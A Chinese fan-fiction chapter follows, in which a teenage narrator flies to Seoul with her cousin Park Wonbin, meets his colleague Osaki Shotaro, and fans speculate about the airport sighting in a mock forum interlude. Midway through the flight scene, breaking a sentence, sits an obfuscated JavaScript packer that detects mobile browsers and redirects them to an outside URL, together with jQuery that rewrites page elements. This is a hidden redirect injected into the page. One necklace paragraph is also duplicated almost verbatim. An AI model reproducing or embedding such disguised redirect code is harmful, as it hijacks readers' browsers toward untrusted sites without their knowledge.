我可顾不着那么多,不带旖旎色彩地继续缩短我们的距离,凑过去想观察朴元彬的眉毛——她的左侧眉毛有一处细长的断开的痕迹,后眉部分又流畅地继续生长,但看起来不突兀,反倒有种不对称美的感觉。 我伸手摸了摸,另一只空着的手又抚上自己的眉尾,最后得出结论:断眉摸起来和正常的眉毛触感也没什么差异嘛。 过程中朴元彬温热的呼吸紧贴我的掌心,然后悄无声息地自指缝溜走。 高一还在首尔念书的时候,班里有几个喜欢追逐时尚的女生会打眉钉,后来跟风打的人多了,学校不得不下了规定:上学期间不许打眉钉。 于是她们被迫摘除,结果戴的时间久了,摘掉后,原本打了眉钉的地方就形成了断痕。 我问朴元彬,难道你也有过一段叛逆的学生时光吗? 她立即否认,义正言辞地说她的学生时期老乖了——内向老实到站起来念课文都会满脸通红的地步。 再然后,朴元彬才叹息着说,那是因为七岁的时候她和哥哥一起玩,不小心摔倒了,于是就留下了永久的断眉。 我听完后又开始笑,身体震颤的同时感受到自她的脖颈处垂落的长长的项链与我的交错在一起。 担心项链靠在一起容易打结,我听朴元彬讲完断眉的来历后就把她推开了,只有方才说话时落下的吐息的余温像一阵抓不住的风残留在手掌。 礼尚往来,我也想着分享分享自己的童年故事,结果搜刮了一遍记忆脑海,却可悲地发现没有什么好讲的。 朴元彬虽然在蔚山的非市区地域长大,但她的家庭情况已经能超越许多首尔人:足够富裕,以及,最重要的是家庭氛围好。 朴元彬的童年能和哥哥一起肆无忌惮地玩耍,即使被姨妈批评了那也是不痛不痒地指正;她的学习不算很好,连经济的题目都认不出来,再往上还有个在优秀的成均馆大学念书的哥哥,姨妈和姨父却从未将他们比较,更别说给她施压了。 至于我的母亲,她和姨妈在同一个母体中诞生,又与姨妈走出了截然相反的两条道路。 最后是她的人生失败了,于是顺理成章地把希望压在了我的身上。 一个没能获得理想人生的女人、在这个极端的社会下被压迫的女人,在诞下孩子后,终于拥有了真正意义上完全属于她的物品。 只有在我的身上,她才能体会到不被掌控的快感。 因此回想起我的童年,实在没有什么能拿出来侃侃而谈的,就算当作投稿投到情感杂志上,也是作为边角料最无趣的那一部分——可有可无,撑死起到一个丰富内容的作用。 所以我果断放弃了把自己的故事告诉朴元彬的想法。 估计朴元彬看出了我纠结的心理活动,她没点明,只是轻轻地把我的项链拨开,防止我们的项链缠起来。 正好我也担心项链靠在一起容易打结,因此径直推开朴元彬,只有方才说话时落下的吐息的余温像一阵抓不住的风残留在彼此的掌心。 接着,我们又诡异地陷入了刚开始沉寂的氛围。 好像这样的安静能一直持续到末日。 “……你突然来找我,不会就是为了分享你的童年故事吧?”最后,我还是忍不住开口。 要不是看在朴元彬以前也经常被我夜袭骚扰的份上,我估计都不会有这么多的耐心等她在那儿自顾自纠结心事。 朴元彬终于因我的话语回神,她目光游离片刻,而后定格在我身上,过了两秒,她回应道:“明天,我就要坐车走了。” 我毫不掩饰自己的诧异:“明天?不是说好的后天吗?” “是这样没错,”朴元彬看上去也因行程的变动无奈,“但是公司那边要求明天就到首尔,说是要提前做准备。” 什么脑残公司这么压榨员工。 我的第一反应居然不是对朴元彬马上离开的临时通知感到不适,而是担心她是不是真的被黑心公司签了啥不可毁约的终生劳役合同。 毕竟相处下来,我发现朴元彬不像表面上那么酷且冷淡。她的不太爱说话不是出于不易近人,更多的是单纯社恐——这点和我微妙地相似。 但是在混熟后,朴元彬就会跟和主人讨好关系的猫咪一样,虽然依旧不怎么主动讲话,可是会选择悄无声息地主动贴近。 我莫名有种给以前养过的那只橘猫找了个代餐的满足感。 “好吧,”我干巴巴地回答朴元彬,“没关系,工作最重要。” 刚说完此话,我突发奇想:等等,朴元彬来找我,不会是想听我说点好话吧?我刚刚说得是不是太冷漠了? 于是我硬生生语锋一转,努力安慰道:“我会想你的。而且你这么想:我开学后还是要回首尔读寄宿制,你要是想我了可以随时来找我。” 朴元彬点点头,没接话,好像还有什么难言之隐。 我真想不出朴元彬还有什么别扭的理由了。总不能是前几天我把她的红豆馅鲫鱼饼全啃光了吧? 但那也是朴元彬主动分给我的啊,况且在胃里都消化完好几天了,她可怪不着我了。 真不知道要怎么样才能撬开她的心结。我连自个儿的心理问题都治不好,别说还要帮别人了。 忽然,我灵机一动,直接从床上坐了起来,眼睛亮晶晶地看着朴元彬:“明天,我送你回首尔吧?” 朴元彬先是愣了一下,随后果断拒绝:“不行。” “为什么?” “明天爸爸妈妈有别的事要忙,你回去的时候只能一个人走了。蔚山到首尔太远了,对你来说不安全。” “可以坐飞机呀。”虽然选择飞机未免有点小题大做,但胜在耗时短,以及很方便,不到四十分钟就到了。 我说到做到,当即拿起手机查航班。 第二天才订机票有点太晚了,幸亏运气好,正好有几个乘客临时起意退了票,所以勉强能凑出两个挨在一起的座位。 可惜回程的机票就没有当日的了,我翻了翻,要等三天后才有空的航班。 不过我宁愿等几天也不想换别的交通路线。 坐大巴要花四个多小时,我还是容易晕车的体质,每次坐车都老遭罪了。 我对朴元彬说,就当在首尔顺便来个短途旅游了——虽然我说这话的时候心里想的是也不知道这地方有啥好玩的,没关系,大不了就在酒店宅三天算了。 朴元彬拗不过我,于是我们在黑漆漆的房间里研究了一晚上的航班路线,订了下午的票。 到后半夜盯着手机屏幕盯得我眼睛疼,迫不得已开了个小夜灯,后果就是彻底不困了,干脆顺便收拾了个行李。 第二天,在餐桌上坐在一起吃早饭的时候,我们把这事告诉了姨妈和姨父。 虽然事发突然,他们也感到惊讶,但还是很开明地同意了——包括我要一个人在首尔待三天的这个决定,只要每天记得给他们打个报备就可以了。 答应之快,搞得我都不太适应。 以前我和朋友一起去本国内龙仁市的爱宝乐园玩,母亲都要详细地干涉到我的行程的每个步骤,包括坐的交通工具、临时住的酒店还有要待几天,结果到了朴家这里,我要孤身在首尔住三天,还要一个人坐飞机回来,他们却没有多问。 *爱宝乐园≈韩国迪士尼 可我能感觉到,他们的不过问不是因为不关心,相反是因为足够信任。 大概是曾从共同认识的其他亲戚里听说过母亲对我的约束,所以接管我的时候,他们反而想让我自由一点。 中午,朴元彬收拾完一大堆行李,我们就马不停蹄地打车去了市中心的蔚山机场。 大夏天的,朴元彬却把自己裹得严严实实。黑墨镜、黑口罩、鸭舌帽,跟个要极力藏住身份的通缉犯似的,和旁边一圈穿着清凉的人简直不像一个图层。 我问朴元彬为啥这么穿,她的解释是为了防晒。 被闷出的汗都要把粉底液流花了,还防晒呢。 我有点半信不信的,不过也没点破,可能朴元彬的热感知系统天生就比别人差也说不定。 不到四十分钟的路程,甚至用不着睡一觉来消遣时间,发会儿呆就过去了。 朴元彬有中耳炎,早在着陆前就提前拿出了耳压调节器跟耳塞,她说如果不做准备的话,下飞机后她会至少听不见三小时。 对此我深表同情。虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340664|183425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的状况和她不同,但一样痛苦:每次坐完长途车,我都有至少两个小时吃不下饭,车上独有的特殊味道和司机猛地拐弯刹车等操作带来的晃悠感太令人印象深刻了,搞得我下车后都毫无胃口补充能量。 飞机在首尔的金浦机场降落,我们拎着行李下来。 因为朴元彬是打算长期在首尔工作,所以她的行李比我的要更多且更沉,看着就很吃力,可我也没办法腾出手帮她提,因为我自己都马上撑不住了。 本来我还在犹豫要不要打电话外派个小推车过来,结果就在下一刻,朴元彬抬臂,向不知道远处的哪个人挥了挥手。 一个同样裹得很厚实的人迎面走来。 和这俩人站在一起,我都不免产生自我怀疑:是不是只有我在另一个不同的季节? 不等那人或者是我主动开口向对方进行自我介绍,朴元彬就稍稍低下头,俯在我的耳边说,这位就是那个帮你解题的taro哥——大﨑将太郎(Osaki Shotaro),你直接跟着我喊taro哥也行。 我望着在人来人往的小机场里和我们逐渐缩短了距离的男人,一时竟忘却了当时在kkt上仿佛两个人机你一句我一句挤牙膏似的尴尬对话,也忽视了觉得他和朴元彬关系不错后感到的不平衡感。 我脑子一抽,第一个蹦出来的想法是:这人和朴元彬是什么关系?怎么会来给我们接机? 在我的胡思乱想中,将太郎已经驻足在了我们的身前。他和朴元彬不像什么在我的脑海里上演了八百集狗血少女恋爱偶像剧的暧昧的男女关系,只是在对视后轻轻点头,然后目光落在了我的身上。 我同样望向对方。似乎是刻在日本人骨子中的无论是前后辈都要尊重对方的礼仪,他摘下墨镜后才与我认真对视。 眉色略浅,眼尾微微下垂,致使将太郎看上去总给人一种温吞性子的印象、并且没啥锋利的攻击性。我还注意到他左眼的下眼皮处还点缀着一颗细小的黑痣。 我有一个总是被母亲责骂不尊重别人的坏毛病:那就是对视久了后会率先败下阵来,随后不受控制地别开目光,来掩饰自己的尴尬。 而就在我转移视线的时候,视线顺其自然地落到将太郎满是耳洞的耳朵上——他没戴耳饰,显得格外朴素,但我看得出来那里存在过耳洞的痕迹,并且数量还不少。 我灵机一动,忽然想起什么。 ——当时我判断taro哥的kkt头像是网络男神图的依据之一,就是那张图上的男性打了满耳的耳饰,还戴了闪闪发光的戒指,看着就一副Bking样,感觉再调个黑化滤镜就能收拾收拾扔进小学生群里收血仆了。 而现在,我揉了揉眼睛,再次确认将太郎是打了耳洞没错。 再确认一眼方才打量过一遍的脸庞,虽然对方戴了口罩,但仔细对比的话,五官轮廓确实是能对上。 我第一次痛恨自己的记忆力为什么那么好。 在最后一刻,从我脑海中油然而生的第二个念头是:靠,原来将太郎的kkt头像不是网图啊。 ………… *论坛言论≠作者观点立场 @椅子站: 【椅子】#每日一酱饼#大概就是豹猫很甜蜜吧嗯。【拥抱】这个票圆饼刚回首尔就有人迫不及待来接机了【捂嘴哭】 {粉丝偷拍机场图.JPG} *酱饼=将太郎X朴元彬;票圆饼=朴元彬 {展开评论区} @酱饼之女:四个神秘数字 ——1499【流口水】 ——1499【流鼻血】 *14=将太郎X朴元彬 @拼音表力挺男友加特林:是的,我们14批就是吃这么好【比心】 ——产品卖太大了我晕了 ——这里有两把椅子是给子啊 @我父太郎:【呆】有没有老公宠宠我,这素近期图吗?? ——前几周圆饼说自己家里有点急事,要回家处理一下,最近开始慢慢恢复行程了,看样子应该是现在坐飞机回来了 ——不愧是彬彬姐,蔚山到首尔都要坐飞机【白眼】 ………… @嫂嫂你别这样: 【扫帚】欧巴,你快一个月没有行程了,粉丝们都在担心你会不会落下练习、归队后还能不能被平等待遇,还在担心你家庭出的事严不严重 结果你倒好,回来后还顺带把嫂子带过来了 连接机的队友都成了你和嫂子play的一环,可怜的CP粉还在当糖吃,结果嫂子就这么被当成正好路过你们的路人被美美忽略了吧 把嫂子也带来首尔是为了以后方便约会吗? 欧巴,你说的处理家事不会是回家结婚了吧? {展开评论区} @担圆饼离家出走的那个雨夜:诡秘们我有个不好的推测。@彬孝女 @朴元彬厨 @恋彬癖 ——eywc。 ——诡秘别说了,我们捂着眼睛继续向前冲吧。。 ——我被此男cpu了【允悲】我的第一反应居然是这次的对象是素人,终于不用洗广场了【微笑】 ——加油,你没救了【捂嘴哭】 @朴元彬彬有礼:dyf别虐恋这只小猫翻炒投稿了哈【笑哭】知道你们很羡慕我宝这么长空窗期回来还能美美无缝衔接了 @Wonbinnn-:麻烦大家来看看澄清奖池【爱心】圈外人也可以来参加!麻烦带#朴元彬无妄之灾#tag转发{不限圈抽奖丨#朴元彬机场私会陌生女子#澄清条} ——点了,有些人真是爱犯捉奸癖。。 ——这个女生明显就和饼不熟啊,全程都没讲几句话,还一直低着头,谁家情侣这样? ——我彬人美心善,好心帮机场路过的女孩子提个行李,就这么被造谣是讨好嫂子了【吐】 ………… @脱粉回踩救钱包: 【投稿】脱椅4。 {粉丝机场偶遇拍的图.JPG}{朴元彬和素人女生互动图.JPG}{消费自证截图.JPG}{抒情小作文.JPG} {展开评论区} @用户xxxxx:虽然但是能不能尊重一下素人。。起码打个码呢 @老公为爱赴首尔:晕字,有没有人省流告诉我这瓜真的假的【晕】 ——假的哦宝宝【抱抱】可以看看#朴元彬##朴元彬无妄之灾##朴元彬机场私会陌生女子#tag热门里的澄清条!证据很明确的就是假的,最近几条投稿都是dyf自炒的 @饥饿的金色炸鸡66:如果是真的话那也无敌了。。休假前直播给的理由不是说要处理家中私事吗 @Y头我受你:……破防的梦女姐产品姐有完没完,粉丝硬把彬和素人女生撇清关系的样子也好好笑,小红薯一个mmr的解释贴把你们全都啪啪打脸了{小红书帖子链接分享} ………… @元神启动: 晕,wb上某些刻薄测婆到底闹够没…… 给不懂的宝子们解释一下:彬之前说因为家庭私事要停止活动一个月左右,最近终于要回来了,然后有粉丝拍到他落地后和一个素人女生一直走在一起,taro还来接机了{粉丝机场偶遇拍的图.JPG}{朴元彬和素人女生互动图.JPG} 于是就有一堆人破防是不是有嫂子了……{微博帖子截图.JPG}{微博帖子评论区截图.JPG} 但是但凡是关注了彬彬泡泡的人,有点脑子都能猜到这是彬的妹妹吧。。{朴元彬泡泡发言截图.JPG} 用我的塑料韩语翻译一下前几天彬说的话↓ “大家” “有没有照顾过弟弟妹妹的经验呢?” “家里本来只有哥哥的,忽然有点不适应呢” “啊,不过那是个很好的孩子kkk” {引用用户发言:元彬可以试试主动出击!} “但我们都有点社恐啊,真糟糕,完全不知道要怎么搭话” “小学上课上到一半,如果忽然想去厕所的话,我连主动举手都不敢……” “嗯,很晚了,大家也都早点休息吧” “马上就能回来了,也请BRIIZE们不要忘记我哦” “对了,还有一件事,麻烦大家帮我遵守~” “因为不太想干涉到妹妹的普通生活……” “这几天要是在蔚山看到我了,偷偷拍个照就行了,麻烦不要直接说出来” “【小灰猫鞠躬表情包】” 顺便分享几个xmm在蔚山的偶遇贴,布栗子同担们都特别有素质,偷拍图全给妹妹打了码,但是大家都说妹妹也是个超漂亮的人,就是感觉和彬长得不是很像{小红书帖子链接1}{小红书帖子链接2}…… {展开评论区} @朴过元彬(见过拉椅子版):顶,看到微博那么多人破防我都傻眼了【发怒】还装粉丝呢,连圆饼的泡泡都没认真读…… @onlywon:之前没听过彬说家里还有个妹妹唉,好好奇 ——是表妹吗?看大家都说和彬长得不是很像,而且也不可能隔了二十多岁又有个新的家庭成员 ——宝宝们最好不要过多猜测彬的家庭哦!他也说了不希望打扰到妹妹的素人生活,怎么样都和我们没关系啦 ——偶遇贴本人来了……妹妹超漂亮,穿得很朴素但就是能看出底子很好,而且关键是纯素颜啊【爱心】跟彬关系看起来也不错,特别黏他,一时都不知道羡慕谁 @爱吃红豆圆饼:我的关注点在内向彬彬……太可爱了吧,宝宝你们是两只小猫 @momo:很多人都敢说,男同姐下意识删掉旁边的妹妹自顾自捡产品但其实两个直男无人在意;嫂子站爱热演破防但其实和梦女姐是同一批爱幻想的捉奸癖患者;tfhc是一群自我感动煽情爱输出抒情小作文结果其实最后无人care的瑞德大粉姐【允悲】 *用户观点≠作者观点 4. 我与朴元彬与坦白 虽然从朴元彬的话语里推测出他们的行程很赶,但二人还是打算先把我送去酒店安顿好。 将太郎考了驾照、有自己的车,韩语讲得也不错,虽然有点口音,但总体无伤大雅。 根据我们上一次的线上接触,我又已知他还是学经济的,况且都出大学这么多年了,居然还能记得学过的知识。 我被卷生卷死的日本人震撼了。 将太郎把我们的行李搬到车的后备箱,然后和朴元彬达成一致,决定先开车带我去酒店。 我无声的心里话忍了半天,最终还是没说出口:其实我更想去看看你们的工作单位,究竟是什么神人公司会搞出这么多乱七八糟的操作。 朴元彬陪我坐在了后座。 路途有一段距离,有时候朴元彬会和将太郎讲上几句话来消遣时间,但我没仔细去听具体的内容,转头去看车窗外的风景。 平心而论,将太郎的开车技术很平稳,比我打车的出租车司机都好了多;车里也打扫得很干净,没有劣质的恶心的皮革味。 但晕车是本能的,不可能就因为这一次改变。 我看了会儿外边飘逸的景色就安然闭上眼睛,打算干脆睡一觉,这样醒来就可以直接到目的地了。 头枕硬硬的,压得我脑袋疼。 于是只靠了两三分钟,我就毅然一歪头,向旁边方向倾斜,直直靠在了朴元彬的肩膀上。 朴元彬本来在和将太郎聊天,经我这么一靠,忽然不说话了。 我疑惑地睁开双眼,结果透过后视镜对上了前座的将太郎的目光。 将太郎正一脸复杂地看着我们。 将太郎似乎对别人的注视很敏感,几乎是在一瞬间,他就注意到我觉察到了他的打量,而后又面不改色地调整好表情,目视前方,然后继续坦然自若地开车,仿佛刚刚只是我看错了而已。 ……好奇怪的一男的。 莫名地,我的心中警铃大作。 这人从初见起就给我一种捉摸不透的印象——此处所说的初见不是半小时前的接机,而是第一次线上交流。 他能用比标准答案还简单的方法迅速解出高中题目,打字的时候却慢吞吞的;他眉眼低垂、看着长得温顺,结果拎起沉甸甸的行李箱时毫不手软;他说话很温柔、甚至说总觉得比朴元彬还要平易近人了多,然而当他从反射的镜面中审视我之际,我又有种不寒而栗的紧张。 但朴元彬似乎很信任将太郎,和他讲话总是会乖乖地喊“taro哥”。 最初我还会因为朴元彬对他的亲近产生点微妙的醋意,可现在不会了。 因为我忽然在某一刻发觉这不是吃醋,只是很正常地感觉不公平——就像发现原来养的猫在被我收留前背着我还有别的玩得好的小伙伴。 于是我的注意力不再关注已经养熟的猫本身,开始审视这位从我的立场而言可以称之为“外来者”的人物。 做出这个决定后,我果断松开朴元彬的手臂。 当然不只是因为我打算干别的事了,更多的是朴元彬上臂处的肌肉线条从方才开始就不知为何稍稍绷紧,保持在一个僵硬的状态,导致我靠起来也总觉得硬硬的,像是一张凹凸不平的铁床板,还不如靠在后座上。 趁着车内正好没人说话,在等待红绿灯的时候,我主动搭话:“大崎nim——” *nim=尊称 将太郎从后视镜里与我对视。 这回他的目光里不含别的情绪,只是单纯地回应我的呼唤。 我直接一针见血地询问:“因为元彬经常和我提起大崎nim,所以有点好奇,是和元彬怎么认识的呢?” 我能感受到旁边的朴元彬炽热地盯着我,应该是对我突如其来的自来熟感到震惊和费解,我装作没看见。 对不起了朴元彬,把你拉过来当作我试探的一环,但说不定我和你的这位同事之后也见不着几面了,且问且珍惜。 “这个啊……”将太郎看了一眼前方的红绿灯转为绿灯的倒计时,几十秒的间隙来得及他回答我的问题,“当时从日本来到韩国,第一个认识的韩国人就是元彬呢,后来就成了同事。” 我本以为他说完了,结果就在我又要接话的前一刻,将太郎又补充道:“以及,彩书可以跟元彬一样喊我‘taro哥’的,或者不想划分年龄差的话,直接喊名字也没问题,只要不是‘大崎’就行。……怎么说呢,因为这样总会难免给人一种距离感吧。” 我有点惊讶。 虽然知道国籍刻板印象不可取——就像别人都觉得韩国人就爱喝冰美式,轮到我就很讨厌一样——可我了解过的日本文化无一不告诉我:只有关系很亲密的人才能直接喊名字。 尽管朴元彬在这之前告诉过我,可以跟她一起喊“taro哥”,但我只当是朴元彬跟将太郎待久了,所以这点礼仪也潜意识地模糊了,所以还是选择保守地称呼他为姓氏加上尊称。 将太郎却似乎满不在乎这点礼仪文化,简直不是个长在我印象中符合日本人标准的日本人的形象。 并且,不知道是不是我的错觉,将太郎好像在刻意把控着语速,因为在他说完最后一句话的那一刹那,绿灯正好亮起。 于是将太郎又把注意力拉回到开车之上。 我也不好意思再让他分神了,毕竟这条车上可是有三条珍贵的人命。 我开始转头望着车窗发呆,想等待下一个红灯的时候,再多挖出点关于将太郎的信息。 可惜命运弄人,接下来的红绿灯很少,而且每次开到那儿的时候又是一路顺风的绿灯——我只好把许多个想问的问题一并烂在肚子里。 ——然后那些问题发酵成了我从身体内部逐渐涌上来的眩晕感。 我偷偷看了眼架在前座的导航,绝望地发现到酒店还有二十分钟才到。 二十分钟,说长不长、说短也不短。 大概就是刚忍着恶心感、酝酿好睡意打算熬过这段路程的时候,又突然告诉你:你醒啦?已经到目的地了。 然后不得不怀着呕吐欲晕晕地走下车,又要调整好长一段时间才能恢复正常。 但关闭视觉感官最起码还是要好受些,于是我把头轻轻靠在了车窗上,轻浅地呼吸着,默默倒数这煎熬的二十分钟。 然而,我没靠多久,就听到从前座传来的轻微的动静:有点像拉开挎包的拉链的声音,而后有人在里边翻找着什么。 几秒后,有一小袋东西被扔到了后座,撞击在后座的垫子上,传来“咚”的沉闷的一声。 熟悉的、温和的男声同样响起:“这是急性晕车药,很快就能生效,吃一颗就够了。前排杯座这里有一瓶没开封过的矿泉水,我在开车,不方便拿——元彬,你帮彩书拿一下吧。” 我猛地清醒过来,在朴元彬应声前暗戳戳伸脚踩了她一下,示意她别动——我确认过了,这双鞋是她穿过很多次的,不是新鞋,所以踩了也不会有啥愧疚感。 我的力道不重,所以朴元彬没有喊出声——或者说她在我刚行动的时候就多少意识到了我要干什么,因此有点无语地看了我一眼,最后还是没吭声。 很好,我很满意。 我微微起身,掌心压着坐垫向前倾,去够那瓶水。 施行这个动作的时候,我的余光瞥到副驾驶上安安静静地躺着一个敞开的大包,估计晕车药就是从里面掏出来的。 我眼尖地发现,包里边不仅有备用的药,还有其他五花八门的东西:接机时戴着的口罩墨镜,还有进口的防晒霜跟补水喷雾,以及更多的是零食——各种各样的零食。 ……这人的包是哆啦A梦的四次元口袋吧?放的东西虽然类别不一,看着很没有摆放规律,结果居然每样都能说出具体的实用用途。 我拿到水后就若无其事地坐回去了,没有忘记道谢,将太郎同样自然地表示这是应该的。 不过在坐回后座后,我悄悄向中间移了移(为此我疯狂暗示朴元彬把她的大长腿缩起来,给我让点儿空间),以便找到个合适的角度,继续用极佳的视力观察包里还有什么。 长条的巧克力豆腐——这两个词是怎么能组合在一起又合并成一个食物的? 看着就干巴巴的奶酪鳕鱼条——封面倒是挺好看的,但是这个组合依旧令人匪夷所思。 我觉得我现在像个看人车卡的kp,眼睁睁看着对方把魅惑跟力量全点满——两个单拉出来都不错,结合在一起其实也没啥多大问题,缺点就是字面意义上读起来总觉得怪怪的,有种应该在海里优美地游动的鱼忽然胸鳍变异、并且用它来驾驶自行车冲上岸的诡异感。 *跑团用语 我又仔细瞪大眼睛瞧,还有一盒蘑菇力——这个总算正常了,巧克力和饼干总不会难吃到哪里去吧! 剩下的被埋在深处,我看不到了。 他的包简直就像是个无穷无尽的无底洞。 零食难吃好吃比拼二比一,难吃的占比更多,总结:将太郎疑似有异食癖。 太恐怖了,知人知面不知心,将太郎的神秘指数在我心里再上一层。 得出这个结论后,我就放弃了偷看,转又理直气壮地指使朴元彬帮我把矿泉水瓶盖拧开,伴着药一饮而尽。 将太郎的晕车药似乎是外国进口的,所以药效要更猛,他确实没有在哄我,很快我没那么难受了。 好吧,我承认至少在这一刻,他人还不错。 我把剩下的一板药片收好,重新放回用以收容的塑料袋,再小心翼翼地塞回将太郎的包里。 剩下的车程一路无言。 到了酒店,将太郎把车停在了酒店门口的专供临时停车位。 因为只要安置我一个人,所以搬一个属于我的行李箱就够了。 我带的东西也不多,仅仅待个三天,因此带点必要的换洗衣服就差不多了。 在住宿一事上,我也没亏待自己,选的是比较高级的酒店——与之对应的,对未成年没有监护人独身入住的情况也更为苛刻,需要跟法律上的看护人打电话,并一起统计对方的信息,以便随时联系。 虽然和我一起来的将太郎和朴元彬也成年了,但他们比我大不了几岁,更谈不上当我的监护人了。 朴元彬果断给姨妈姨父打了电话,让他们自行跟前台沟通。 经过一系列繁琐的流程,终于入住了。 二人只把我送到了房间门口,却没有马上离开。 毕竟我一个未成年人独身在这个人流极大的都市生活三天,还是不免令人担心的,多少有点嘱托的话需要絮叨絮叨,其中把这种心理活动流露得最明显的就是朴元彬。 朴元彬像是送第一次去幼儿园的小孩子的家长似的忐忑,与此同时还有昨晚让我无比熟悉的那种欲说还休的纠结——到底啥事让她一直拧巴到今天? 虽然后续在kkt上面仍然可以追问,但我现在就忍不住了:“你是有什么话要和我说吗?” 结果不说还好,一说朴元彬反倒更坐立难安了。 然而到了最后,她只是向前一步,伸手摸向我的脖子——我没反抗,感受到她的指尖在我的肌肤上游走一阵,把因为车上颠簸而歪掉的月亮项链摆正了。 链条蹭过皮肤表面时,带来细微的痒意。 我低头,默默看着朴元彬的动作,在心里嘀咕着,幸好我有足够的耐心,慢慢等朴元彬自我和解完毕再跟我说她的真心话也来得及。 接着,我的目光又落到将太郎的身上,他好像也有话要和我说。 此时他把口罩摘了,露出线条优美的嘴唇。 他的唇线清晰、又薄又长,加之柔和的五官看起来很亲切,导致将太郎仿佛总是那副带着浅浅的微笑的模样。 可惜我的直觉告诉我:我不喜欢大崎将太郎。 不喜欢的原因有很多,产生的条件也可以很突兀:比如,喜欢的烤五花肉突然配上了一坨味道怪怪的香菜,所以我开始讨厌香菜;比如,放学后下了滂沱大雨,而我正好没带伞,所以我开始讨厌雨天;再比如—— 将太郎认真地垂头,与我对视。 他的眼睛就像被太阳照射的小溪,徒留缓慢流淌的、静谧的水波,温暖又平和。 但阳光没有照射全,它被溪底沉睡的一块岩石挡住,于是照不到的死角不为而知。 而我最讨厌太阳了。 夏天,烈阳当照,顶着这样无情的太阳上完体育课,总是浑身被汗浸得湿漉漉的,跟不慎落水的小狗一样狼狈。 最难受的是女生为了防止露点、还要穿小背心,于是汗水就把小背心紧贴的以外的布料全部浸湿,单拎出那块暧昧尴尬的形状。 更可恶的是还不能跟男生一般大大咧咧地揪着衣领来回扇风——我觉得这非常、非常不公平。 有些过度肥胖的男生满是肥肉的胸比部分女生还突出,因此露点也更明显,恶心得要死,我觉得他们才该穿小背心,以用来补偿我损伤的视力费用。 所以,我就是这么讨厌上太阳的。 我在脑海中进行一番激烈的心里小剧场,对面的将太郎当然没有读心术,不知道我在想什么。 他从兜里掏出手机,朝我晃了晃:“要不要加个kkt?以后联系不上元彬的话,找我也可以,” 我没有理由拒绝。 通过好友的时候,我垂头望着那个曾经有过一面之缘的用户头像,心里重复道:——我不喜欢大崎将太郎。 不喜欢他与朴元彬有过一段我不知道的交情、脱离了我的所知范围;不喜欢他的神秘莫测,怎么看都看不穿,跟那能塞进无穷无尽的东西的包包一样深不见底…… 但是,不等我细细列完将太郎的“罪行”,沉稳的男人忽然像是想起了什么,充满歉意地让我稍等一下。 他开始低头扒拉包,在我探究的注视下,把没吃完的晕车药和那瓶只喝了三分之一的矿泉水一并给了我。 “如果你这三天要打车去其他比较远的地方、或者坐回程飞机时感到头晕,可以继续吃这个药,我觉得效果还不错,”将太郎细心地说,“不过药吃多了对身体也不好,而且最好还是要配温水服用。” 一长串话语绕得我头晕目眩,我不禁发问:“你怎么那么关心我?” 当然,我的这个问题并不是在自恋,不过是字面意义上的困惑——他怎么那么关心人? 我了解过日本的纪实文学,其中的上班族都是专注忙碌自个儿的事,向来习惯冷漠地忽略同胞的呻吟;他们的民族文化也给我一种抹不去的刻板印象:等级分化不比韩国的轻,永远是麻木地、空洞地向比自己威严的人屈膝道好。 可是这些在将太郎身上通通不存在。 幸好听了我有歧义的话,他也没产生其他误会,只是笑了笑,自然地回答:“是么?可能是因为我在家里还有一个弟弟跟一个妹妹吧,”他开了个小小的玩笑,“这就是身为长子的必备技能——习惯照顾别人。” 那一刻,将太郎的身形蓦地于我的心中清晰起来。 一位会关心别人的、随身带着各类物品方便助他人解决燃眉之急的、拥有两个直系血缘上的弟弟妹妹的长兄。 他靠谱、优秀、毫不夸张地说可以称得上是万能,像是那种只存在于我母亲口中的“别人家的孩子”的具象化。 我曾经因母亲爱把这类人挂在嘴边与我进行对比,而无比愤恨这种类型的人的存在,又矛盾隐秘地渴望真的有这样的人可以降临到我的身旁。可此种情感进展到结局,更多的是一种不可言喻的畏缩。 最初,我在想,他们又不会运用所谓的成熟和乐于助人的美好品质解脱我的生活,只会被用来与我进行无用的比较、把我的付出贬低得一文不值,那么那只流泛在口中的温柔又有什么存在的必要呢?反倒成了助力我崩溃的波澜。 后来,我又在想,要是真的有这样的人存在就好了。如此以来,他们就能够在我濒临溃堤之际拉起我的手、带我逃出这个家庭、即使不用产生过度亲密的关系也可以带给我足够的情绪价值。 最后,我才发现一切的愤怒与憧憬的源头其实是害怕——尽管我从未接触过这类人群的存在,但我就是无厘头地恐惧。 我害怕要是真有这样的人出现在我的面前,他或她细微的温柔会如同种子见缝插针地钻入我血肉的缝隙里,吸食我的骨髓萌芽长大、最终绽放出鲜嫩的花苞。 美丽、令人向往,可我同时也感到灵魂被对方吸光的痛苦。 好像我这辈子这么痛苦的意义就是为了在最后一刻遇见这点苦尽甘来的花骨朵,但是,我不喜欢。 仿佛我活着经历的崩溃就是为了这短暂的昙花一现存在,否定了我存在过的价值。 直到现在,将太郎站在了我的身前。 讨厌。 好讨厌、好讨厌、好讨厌好讨厌。 我的眼前一片晕眩:那是一瓶晕车药都治不好的呕吐感。将太郎清秀的面庞在我的视角中逐渐扭曲,像是个不知名的怪物披上了假惺惺的人皮。 这种陌生的情绪像燃油,在我的心腔点燃一片不可熄灭的烈火,燃料则是我的灵魂。 比起燃烧时的灼热与愤怒,更多的是对从未接触过的大火的恐惧。 可是,我是个活生生的、接受过教育的人,不是控制不住自己情绪的、幼稚又无理取闹的孩婴。 所以我仅仅是深吸了一口气,冷冰冰的空气灌入口腔、又被吞入腹中,仿佛硬生生吃了一打人工镇定剂。 眼前的场景终于借此艰难地对焦,将太郎朦胧不清的脸逐渐变得清晰可见。 我乖顺地接过药和水,向他真挚地道谢,接着又转过身,送给朴元彬一个大大的拥抱。 熟悉的甜香令我躁动的心稍稍平复,我没忍住多蹭了几下,被朴元彬无奈地捏着后脖的软肉拉开。 分离前,朴元彬在我耳边讲悄悄话:“taro哥还在看着呢,你注意点。” taro哥taro哥——怎么又是taro哥。 这个名字跟鬼一样缠上了我。 